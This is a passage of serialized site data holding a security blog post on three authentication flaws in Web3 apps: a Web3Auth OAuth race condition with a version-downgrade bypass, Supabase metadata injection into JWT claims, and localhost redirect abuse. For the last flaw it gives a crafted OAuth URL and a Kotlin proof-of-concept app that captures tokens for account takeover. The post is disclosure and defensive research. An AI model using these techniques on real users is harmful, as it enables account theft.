transaction hashes",{"type":29,"value":71258},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":4947,"props":71260,"children":71262},{"className":71261,"dataFootnotes":7},[4950],[71263,71268],{"type":24,"tag":850,"props":71264,"children":71266},{"className":71265,"id":1985},[4955],[71267],{"type":29,"value":4958},{"type":24,"tag":3100,"props":71269,"children":71270},{},[71271],{"type":24,"tag":3104,"props":71272,"children":71273},{"id":32178},[71274,71276,71284,71286],{"type":29,"value":71275},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":69,"props":71277,"children":71281},{"href":71278,"rel":71279,":style":71280},"https://twitter.com/PierreArowana",[73],"color: #B1D0EE; text-decoration: underline;",[71282],{"type":29,"value":71283},"@PierreArowana",{"type":29,"value":71285}," for pointing this out to me. ",{"type":24,"tag":69,"props":71287,"children":71289},{"href":32206,"ariaLabel":5061,"className":71288,"dataFootnoteBackref":7},[5063],[71290],{"type":29,"value":5066},{"type":24,"tag":5249,"props":71292,"children":71293},{},[71294],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":71296},[71297,71301,71302,71303],{"id":69493,"depth":200,"text":69496,"children":71298},[71299,71300],{"id":69504,"depth":239,"text":69507},{"id":69783,"depth":239,"text":69786},{"id":70504,"depth":200,"text":70507},{"id":71236,"depth":200,"text":71239},{"id":1985,"depth":200,"text":4958},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":71308,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71309,"description":71310,"date":71311,"author":71312,"image":71313,"isFeatured":16,"onBlogPage":16,"tags":71315,"body":71316,"_type":5270,"_id":73014,"_source":5272,"_file":73015,"_stem":73016,"_extension":5275},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[33014,33013],{"src":71314},"/posts/web2-in-web3/title.jpg",[33954],{"type":21,"children":71317,"toc":72996},[71318,71323,71328,71333,71359,71365,71370,71376,71397,71403,71408,71415,71428,71458,71464,71508,71515,71521,71554,71575,71583,71602,71609,71614,71620,71625,71630,71655,71660,71666,71672,71693,71699,71726,71754,71761,71766,71771,72116,72120,72142,72148,72169,72183,72196,72201,72217,72222,72951,72956,72961,72966,72978,72982,72987,72992],{"type":24,"tag":25,"props":71319,"children":71320},{},[71321],{"type":29,"value":71322},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":25,"props":71324,"children":71325},{},[71326],{"type":29,"value":71327},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":25,"props":71329,"children":71330},{},[71331],{"type":29,"value":71332},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":3100,"props":71334,"children":71335},{},[71336,71341,71354],{"type":24,"tag":3104,"props":71337,"children":71338},{},[71339],{"type":29,"value":71340},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":3104,"props":71342,"children":71343},{},[71344,71346,71352],{"type":29,"value":71345},"Supabase ",{"type":24,"tag":32,"props":71347,"children":71349},{"className":71348},[],[71350],{"type":29,"value":71351},"user_metadata",{"type":29,"value":71353}," misconfiguration",{"type":24,"tag":3104,"props":71355,"children":71356},{},[71357],{"type":29,"value":71358},"OAuth abuse in localhost development environment",{"type":24,"tag":850,"props":71360,"children":71362},{"id":71361},"abusing-oauth-authentication-logic",[71363],{"type":29,"value":71364},"Abusing OAuth Authentication Logic",{"type":24,"tag":25,"props":71366,"children":71367},{},[71368],{"type":29,"value":71369},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":1019,"props":71371,"children":71373},{"id":71372},"web3auth-introduction",[71374],{"type":29,"value":71375},"Web3Auth Introduction",{"type":24,"tag":25,"props":71377,"children":71378},{},[71379,71386,71388,71395],{"type":24,"tag":69,"props":71380,"children":71383},{"href":71381,"rel":71382},"https://web3auth.io/",[73],[71384],{"type":29,"value":71385},"Web3Auth",{"type":29,"value":71387}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":69,"props":71389,"children":71392},{"href":71390,"rel":71391},"https://oauth.net/2/",[73],[71393],{"type":29,"value":71394},"OAuth2",{"type":29,"value":71396}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":1019,"props":71398,"children":71400},{"id":71399},"web3auth-authentication-flow",[71401],{"type":29,"value":71402},"Web3Auth Authentication flow",{"type":24,"tag":25,"props":71404,"children":71405},{},[71406],{"type":29,"value":71407},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":25,"props":71409,"children":71410},{},[71411],{"type":24,"tag":6301,"props":71412,"children":71414},{"alt":52402,"src":71413},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":25,"props":71416,"children":71417},{},[71418,71420,71426],{"type":29,"value":71419},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":32,"props":71421,"children":71423},{"className":71422},[],[71424],{"type":29,"value":71425},"client_id",{"type":29,"value":71427},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":25,"props":71429,"children":71430},{},[71431,71433,71439,71441,71447,71449,71456],{"type":29,"value":71432},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":32,"props":71434,"children":71436},{"className":71435},[],[71437],{"type":29,"value":71438},"/start",{"type":29,"value":71440}," validates the ",{"type":24,"tag":32,"props":71442,"children":71444},{"className":71443},[],[71445],{"type":29,"value":71446},"redirect_url",{"type":29,"value":71448}," against the configured ",{"type":24,"tag":69,"props":71450,"children":71453},{"href":71451,"rel":71452},"https://web3auth.io/docs/dashboard-setup/whitelisting",[73],[71454],{"type":29,"value":71455},"whitelist",{"type":29,"value":71457}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":1019,"props":71459,"children":71461},{"id":71460},"in-transit-cryptography",[71462],{"type":29,"value":71463},"In-transit Cryptography",{"type":24,"tag":25,"props":71465,"children":71466},{},[71467,71469,71476,71478,71484,71486,71492,71494,71499,71501,71506],{"type":29,"value":71468},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":69,"props":71470,"children":71473},{"href":71471,"rel":71472},"https://en.wikipedia.org/wiki/Key_(cryptography)",[73],[71474],{"type":29,"value":71475},"cryptographic key",{"type":29,"value":71477}," is derived from the ",{"type":24,"tag":32,"props":71479,"children":71481},{"className":71480},[],[71482],{"type":29,"value":71483},"sessionId",{"type":29,"value":71485}," sent in the ",{"type":24,"tag":32,"props":71487,"children":71489},{"className":71488},[],[71490],{"type":29,"value":71491},"GET",{"type":29,"value":71493}," parameter to the ",{"type":24,"tag":32,"props":71495,"children":71497},{"className":71496},[],[71498],{"type":29,"value":71438},{"type":29,"value":71500},". Since the ",{"type":24,"tag":32,"props":71502,"children":71504},{"className":71503},[],[71505],{"type":29,"value":71483},{"type":29,"value":71507}," can be controlled, it allows us to send and receive data from the session server.",{"type":24,"tag":25,"props":71509,"children":71510},{},[71511],{"type":24,"tag":6301,"props":71512,"children":71514},{"alt":52402,"src":71513},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":1019,"props":71516,"children":71518},{"id":71517},"race-condition",[71519],{"type":29,"value":71520},"Race Condition",{"type":24,"tag":25,"props":71522,"children":71523},{},[71524,71526,71531,71533,71539,71541,71546,71548,71553],{"type":29,"value":71525},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":32,"props":71527,"children":71529},{"className":71528},[],[71530],{"type":29,"value":71438},{"type":29,"value":71532}," and later used in the ",{"type":24,"tag":32,"props":71534,"children":71536},{"className":71535},[],[71537],{"type":29,"value":71538},"/end",{"type":29,"value":71540}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":24,"tag":32,"props":71542,"children":71544},{"className":71543},[],[71545],{"type":29,"value":71438},{"type":29,"value":71547},") but before use (",{"type":24,"tag":32,"props":71549,"children":71551},{"className":71550},[],[71552],{"type":29,"value":71538},{"type":29,"value":22538},{"type":24,"tag":25,"props":71555,"children":71556},{},[71557,71559,71566,71568,71573],{"type":29,"value":71558},"To exploit this ",{"type":24,"tag":69,"props":71560,"children":71563},{"href":71561,"rel":71562},"https://portswigger.net/web-security/race-conditions",[73],[71564],{"type":29,"value":71565},"race condition",{"type":29,"value":71567},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":32,"props":71569,"children":71571},{"className":71570},[],[71572],{"type":29,"value":71483},{"type":29,"value":71574}," but with modified malicious parameters.",{"type":24,"tag":25,"props":71576,"children":71577},{},[71578],{"type":24,"tag":7711,"props":71579,"children":71580},{},[71581],{"type":29,"value":71582},"What can be modified to achieve something impactful?",{"type":24,"tag":25,"props":71584,"children":71585},{},[71586,71588,71594,71596,71601],{"type":29,"value":71587},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":32,"props":71589,"children":71591},{"className":71590},[],[71592],{"type":29,"value":71593},"redirect_uri",{"type":29,"value":71595}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":32,"props":71597,"children":71599},{"className":71598},[],[71600],{"type":29,"value":71425},{"type":29,"value":226},{"type":24,"tag":25,"props":71603,"children":71604},{},[71605],{"type":24,"tag":6301,"props":71606,"children":71608},{"alt":52402,"src":71607},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":25,"props":71610,"children":71611},{},[71612],{"type":29,"value":71613},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":1019,"props":71615,"children":71617},{"id":71616},"patch-bypass",[71618],{"type":29,"value":71619},"Patch & Bypass",{"type":24,"tag":25,"props":71621,"children":71622},{},[71623],{"type":29,"value":71624},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":25,"props":71626,"children":71627},{},[71628],{"type":29,"value":71629},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":3207,"props":71631,"children":71632},{},[71633,71644],{"type":24,"tag":3104,"props":71634,"children":71635},{},[71636,71642],{"type":24,"tag":32,"props":71637,"children":71639},{"className":71638},[],[71640],{"type":29,"value":71641},"https://auth.web3auth.io/v8/start",{"type":29,"value":71643}," (latest version)",{"type":24,"tag":3104,"props":71645,"children":71646},{},[71647,71653],{"type":24,"tag":32,"props":71648,"children":71650},{"className":71649},[],[71651],{"type":29,"value":71652},"https://auth.web3auth.io/v6/start",{"type":29,"value":71654}," (bypass)",{"type":24,"tag":25,"props":71656,"children":71657},{},[71658],{"type":29,"value":71659},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":850,"props":71661,"children":71663},{"id":71662},"supabase-metadata-manipulation",[71664],{"type":29,"value":71665},"Supabase metadata manipulation",{"type":24,"tag":1019,"props":71667,"children":71669},{"id":71668},"supabase-authentication-flow",[71670],{"type":29,"value":71671},"Supabase Authentication flow",{"type":24,"tag":25,"props":71673,"children":71674},{},[71675,71682,71684,71691],{"type":24,"tag":69,"props":71676,"children":71679},{"href":71677,"rel":71678},"https://supabase.com/docs/guides/auth",[73],[71680],{"type":29,"value":71681},"Supabase",{"type":29,"value":71683}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":69,"props":71685,"children":71688},{"href":71686,"rel":71687},"https://jwt.io/",[73],[71689],{"type":29,"value":71690},"JWT",{"type":29,"value":71692}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":1019,"props":71694,"children":71696},{"id":71695},"jwt-verification",[71697],{"type":29,"value":71698},"JWT verification",{"type":24,"tag":25,"props":71700,"children":71701},{},[71702,71704,71709,71710,71716,71718,71724],{"type":29,"value":71703},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":32,"props":71705,"children":71707},{"className":71706},[],[71708],{"type":29,"value":71351},{"type":29,"value":13360},{"type":24,"tag":32,"props":71711,"children":71713},{"className":71712},[],[71714],{"type":29,"value":71715},"identity_data",{"type":29,"value":71717},", in a signup request by manipulating the input inside the ",{"type":24,"tag":32,"props":71719,"children":71721},{"className":71720},[],[71722],{"type":29,"value":71723},"\"data\": {}",{"type":29,"value":71725}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":25,"props":71727,"children":71728},{},[71729,71731,71737,71738,71744,71746,71752],{"type":29,"value":71730},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":32,"props":71732,"children":71734},{"className":71733},[],[71735],{"type":29,"value":71736},"\"role\": \"admin\"",{"type":29,"value":15499},{"type":24,"tag":32,"props":71739,"children":71741},{"className":71740},[],[71742],{"type":29,"value":71743},"\"email_verified\": true",{"type":29,"value":71745},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":32,"props":71747,"children":71749},{"className":71748},[],[71750],{"type":29,"value":71751},"\"test\": \"test\"",{"type":29,"value":71753},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":25,"props":71755,"children":71756},{},[71757],{"type":24,"tag":6301,"props":71758,"children":71760},{"alt":52402,"src":71759},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":25,"props":71762,"children":71763},{},[71764],{"type":29,"value":71765},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":25,"props":71767,"children":71768},{},[71769],{"type":29,"value":71770},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":80,"props":71772,"children":71774},{"className":33176,"code":71773,"language":33178,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[71775],{"type":24,"tag":32,"props":71776,"children":71777},{"__ignoreMap":7},[71778,71803,71815,71884,71933,71981,72026,72049,72086,72102,72109],{"type":24,"tag":90,"props":71779,"children":71780},{"class":92,"line":93},[71781,71785,71790,71794,71799],{"type":24,"tag":90,"props":71782,"children":71783},{"style":97},[71784],{"type":29,"value":33190},{"type":24,"tag":90,"props":71786,"children":71787},{"style":108},[71788],{"type":29,"value":71789}," parseSupaBase",{"type":24,"tag":90,"props":71791,"children":71792},{"style":114},[71793],{"type":29,"value":117},{"type":24,"tag":90,"props":71795,"children":71796},{"style":136},[71797],{"type":29,"value":71798},"token",{"type":24,"tag":90,"props":71800,"children":71801},{"style":114},[71802],{"type":29,"value":1297},{"type":24,"tag":90,"props":71804,"children":71805},{"class":92,"line":200},[71806,71811],{"type":24,"tag":90,"props":71807,"children":71808},{"style":636},[71809],{"type":29,"value":71810}," try",{"type":24,"tag":90,"props":71812,"children":71813},{"style":114},[71814],{"type":29,"value":269},{"type":24,"tag":90,"props":71816,"children":71817},{"class":92,"line":239},[71818,71822,71826,71831,71835,71840,71844,71849,71853,71857,71862,71866,71871,71875,71880],{"type":24,"tag":90,"props":71819,"children":71820},{"style":97},[71821],{"type":29,"value":34715},{"type":24,"tag":90,"props":71823,"children":71824},{"style":114},[71825],{"type":29,"value":24829},{"type":24,"tag":90,"props":71827,"children":71828},{"style":136},[71829],{"type":29,"value":71830},"header",{"type":24,"tag":90,"props":71832,"children":71833},{"style":114},[71834],{"type":29,"value":133},{"type":24,"tag":90,"props":71836,"children":71837},{"style":136},[71838],{"type":29,"value":71839},"payload",{"type":24,"tag":90,"props":71841,"children":71842},{"style":114},[71843],{"type":29,"value":133},{"type":24,"tag":90,"props":71845,"children":71846},{"style":136},[71847],{"type":29,"value":71848},"signature",{"type":24,"tag":90,"props":71850,"children":71851},{"style":114},[71852],{"type":29,"value":11037},{"type":24,"tag":90,"props":71854,"children":71855},{"style":120},[71856],{"type":29,"value":5491},{"type":24,"tag":90,"props":71858,"children":71859},{"style":136},[71860],{"type":29,"value":71861}," token",{"type":24,"tag":90,"props":71863,"children":71864},{"style":114},[71865],{"type":29,"value":226},{"type":24,"tag":90,"props":71867,"children":71868},{"style":108},[71869],{"type":29,"value":71870},"split",{"type":24,"tag":90,"props":71872,"children":71873},{"style":114},[71874],{"type":29,"value":117},{"type":24,"tag":90,"props":71876,"children":71877},{"style":1085},[71878],{"type":29,"value":71879},"'.'",{"type":24,"tag":90,"props":71881,"children":71882},{"style":114},[71883],{"type":29,"value":571},{"type":24,"tag":90,"props":71885,"children":71886},{"class":92,"line":248},[71887,71891,71896,71900,71904,71908,71912,71916,71921,71925,71929],{"type":24,"tag":90,"props":71888,"children":71889},{"style":97},[71890],{"type":29,"value":34715},{"type":24,"tag":90,"props":71892,"children":71893},{"style":136},[71894],{"type":29,"value":71895}," decodedHeader",{"type":24,"tag":90,"props":71897,"children":71898},{"style":120},[71899],{"type":29,"value":216},{"type":24,"tag":90,"props":71901,"children":71902},{"style":136},[71903],{"type":29,"value":39344},{"type":24,"tag":90,"props":71905,"children":71906},{"style":114},[71907],{"type":29,"value":226},{"type":24,"tag":90,"props":71909,"children":71910},{"style":108},[71911],{"type":29,"value":41028},{"type":24,"tag":90,"props":71913,"children":71914},{"style":114},[71915],{"type":29,"value":117},{"type":24,"tag":90,"props":71917,"children":71918},{"style":108},[71919],{"type":29,"value":71920},"atob",{"type":24,"tag":90,"props":71922,"children":71923},{"style":114},[71924],{"type":29,"value":117},{"type":24,"tag":90,"props":71926,"children":71927},{"style":136},[71928],{"type":29,"value":71830},{"type":24,"tag":90,"props":71930,"children":71931},{"style":114},[71932],{"type":29,"value":9605},{"type":24,"tag":90,"props":71934,"children":71935},{"class":92,"line":258},[71936,71940,71945,71949,71953,71957,71961,71965,71969,71973,71977],{"type":24,"tag":90,"props":71937,"children":71938},{"style":97},[71939],{"type":29,"value":34715},{"type":24,"tag":90,"props":71941,"children":71942},{"style":136},[71943],{"type":29,"value":71944}," decodedPayload",{"type":24,"tag":90,"props":71946,"children":71947},{"style":120},[71948],{"type":29,"value":216},{"type":24,"tag":90,"props":71950,"children":71951},{"style":136},[71952],{"type":29,"value":39344},{"type":24,"tag":90,"props":71954,"children":71955},{"style":114},[71956],{"type":29,"value":226},{"type":24,"tag":90,"props":71958,"children":71959},{"style":108},[71960],{"type":29,"value":41028},{"type":24,"tag":90,"props":71962,"children":71963},{"style":114},[71964],{"type":29,"value":117},{"type":24,"tag":90,"props":71966,"children":71967},{"style":108},[71968],{"type":29,"value":71920},{"type":24,"tag":90,"props":71970,"children":71971},{"style":114},[71972],{"type":29,"value":117},{"type":24,"tag":90,"props":71974,"children":71975},{"style":136},[71976],{"type":29,"value":71839},{"type":24,"tag":90,"props":71978,"children":71979},{"style":114},[71980],{"type":29,"value":9605},{"type":24,"tag":90,"props":71982,"children":71983},{"class":92,"line":272},[71984,71988,71992,71997,72001,72005,72010,72014,72018,72022],{"type":24,"tag":90,"props":71985,"children":71986},{"style":636},[71987],{"type":29,"value":2253},{"type":24,"tag":90,"props":71989,"children":71990},{"style":114},[71991],{"type":29,"value":1196},{"type":24,"tag":90,"props":71993,"children":71994},{"style":136},[71995],{"type":29,"value":71996},"header:",{"type":24,"tag":90,"props":71998,"children":71999},{"style":136},[72000],{"type":29,"value":71895},{"type":24,"tag":90,"props":72002,"children":72003},{"style":114},[72004],{"type":29,"value":133},{"type":24,"tag":90,"props":72006,"children":72007},{"style":136},[72008],{"type":29,"value":72009},"payload:",{"type":24,"tag":90,"props":72011,"children":72012},{"style":136},[72013],{"type":29,"value":71944},{"type":24,"tag":90,"props":72015,"children":72016},{"style":114},[72017],{"type":29,"value":133},{"type":24,"tag":90,"props":72019,"children":72020},{"style":136},[72021],{"type":29,"value":71848},{"type":24,"tag":90,"props":72023,"children":72024},{"style":114},[72025],{"type":29,"value":4824},{"type":24,"tag":90,"props":72027,"children":72028},{"class":92,"line":281},[72029,72033,72037,72041,72045],{"type":24,"tag":90,"props":72030,"children":72031},{"style":114},[72032],{"type":29,"value":2288},{"type":24,"tag":90,"props":72034,"children":72035},{"style":636},[72036],{"type":29,"value":50234},{"type":24,"tag":90,"props":72038,"children":72039},{"style":114},[72040],{"type":29,"value":1151},{"type":24,"tag":90,"props":72042,"children":72043},{"style":136},[72044],{"type":29,"value":1357},{"type":24,"tag":90,"props":72046,"children":72047},{"style":114},[72048],{"type":29,"value":1297},{"type":24,"tag":90,"props":72050,"children":72051},{"class":92,"line":384},[72052,72057,72061,72065,72069,72074,72078,72082],{"type":24,"tag":90,"props":72053,"children":72054},{"style":136},[72055],{"type":29,"value":72056}," console",{"type":24,"tag":90,"props":72058,"children":72059},{"style":114},[72060],{"type":29,"value":226},{"type":24,"tag":90,"props":72062,"children":72063},{"style":108},[72064],{"type":29,"value":1357},{"type":24,"tag":90,"props":72066,"children":72067},{"style":114},[72068],{"type":29,"value":117},{"type":24,"tag":90,"props":72070,"children":72071},{"style":1085},[72072],{"type":29,"value":72073},"'Error parsing token:'",{"type":24,"tag":90,"props":72075,"children":72076},{"style":114},[72077],{"type":29,"value":133},{"type":24,"tag":90,"props":72079,"children":72080},{"style":136},[72081],{"type":29,"value":1357},{"type":24,"tag":90,"props":72083,"children":72084},{"style":114},[72085],{"type":29,"value":571},{"type":24,"tag":90,"props":72087,"children":72088},{"class":92,"line":420},[72089,72093,72098],{"type":24,"tag":90,"props":72090,"children":72091},{"style":636},[72092],{"type":29,"value":2253},{"type":24,"tag":90,"props":72094,"children":72095},{"style":97},[72096],{"type":29,"value":72097}," null",{"type":24,"tag":90,"props":72099,"children":72100},{"style":114},[72101],{"type":29,"value":381},{"type":24,"tag":90,"props":72103,"children":72104},{"class":92,"line":428},[72105],{"type":24,"tag":90,"props":72106,"children":72107},{"style":114},[72108],{"type":29,"value":612},{"type":24,"tag":90,"props":72110,"children":72111},{"class":92,"line":437},[72112],{"type":24,"tag":90,"props":72113,"children":72114},{"style":114},[72115],{"type":29,"value":827},{"type":24,"tag":1019,"props":72117,"children":72118},{"id":42150},[72119],{"type":29,"value":42153},{"type":24,"tag":25,"props":72121,"children":72122},{},[72123,72125,72132,72134,72140],{"type":29,"value":72124},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":69,"props":72126,"children":72129},{"href":72127,"rel":72128},"https://supabase.com/docs/guides/database/postgres/row-level-security",[73],[72130],{"type":29,"value":72131},"Row-Level Security",{"type":29,"value":72133}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":32,"props":72135,"children":72137},{"className":72136},[],[72138],{"type":29,"value":72139},"app_metadata",{"type":29,"value":72141},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":850,"props":72143,"children":72145},{"id":72144},"oauth-in-development-environments",[72146],{"type":29,"value":72147},"OAuth in development environments",{"type":24,"tag":25,"props":72149,"children":72150},{},[72151,72153,72160,72162,72167],{"type":29,"value":72152},"After watching a ",{"type":24,"tag":69,"props":72154,"children":72157},{"href":72155,"rel":72156},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[73],[72158],{"type":29,"value":72159},"talk",{"type":29,"value":72161}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":32,"props":72163,"children":72165},{"className":72164},[],[72166],{"type":29,"value":71593},{"type":29,"value":72168}," parameter during the OAuth flow.",{"type":24,"tag":25,"props":72170,"children":72171},{},[72172,72174,72181],{"type":29,"value":72173},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":69,"props":72175,"children":72178},{"href":72176,"rel":72177},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[73],[72179],{"type":29,"value":72180},"Remote Code Execution",{"type":29,"value":72182}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":25,"props":72184,"children":72185},{},[72186,72188,72194],{"type":29,"value":72187},"In one of our client's implementations, we identified that ",{"type":24,"tag":32,"props":72189,"children":72191},{"className":72190},[],[72192],{"type":29,"value":72193},"localhost:3000",{"type":29,"value":72195}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":25,"props":72197,"children":72198},{},[72199],{"type":29,"value":72200},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":80,"props":72202,"children":72206},{"className":72203,"code":72204,"language":72205,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[72207],{"type":24,"tag":32,"props":72208,"children":72209},{"__ignoreMap":7},[72210],{"type":24,"tag":90,"props":72211,"children":72212},{"class":92,"line":93},[72213],{"type":24,"tag":90,"props":72214,"children":72215},{},[72216],{"type":29,"value":72204},{"type":24,"tag":25,"props":72218,"children":72219},{},[72220],{"type":29,"value":72221},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":80,"props":72223,"children":72227},{"className":72224,"code":72225,"language":72226,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[72228],{"type":24,"tag":32,"props":72229,"children":72230},{"__ignoreMap":7},[72231,72258,72265,72297,72319,72326,72334,72356,72368,72380,72415,72441,72491,72498,72505,72512,72520,72542,72577,72590,72597,72604,72625,72651,72663,72684,72701,72713,72739,72778,72799,72807,72819,72844,72856,72869,72877,72884,72892,72900,72907,72937,72944],{"type":24,"tag":90,"props":72232,"children":72233},{"class":92,"line":93},[72234,72239,72244,72249,72254],{"type":24,"tag":90,"props":72235,"children":72236},{"style":97},[72237],{"type":29,"value":72238},"class",{"type":24,"tag":90,"props":72240,"children":72241},{"style":146},[72242],{"type":29,"value":72243}," MainActivity",{"type":24,"tag":90,"props":72245,"children":72246},{"style":114},[72247],{"type":29,"value":72248}," : 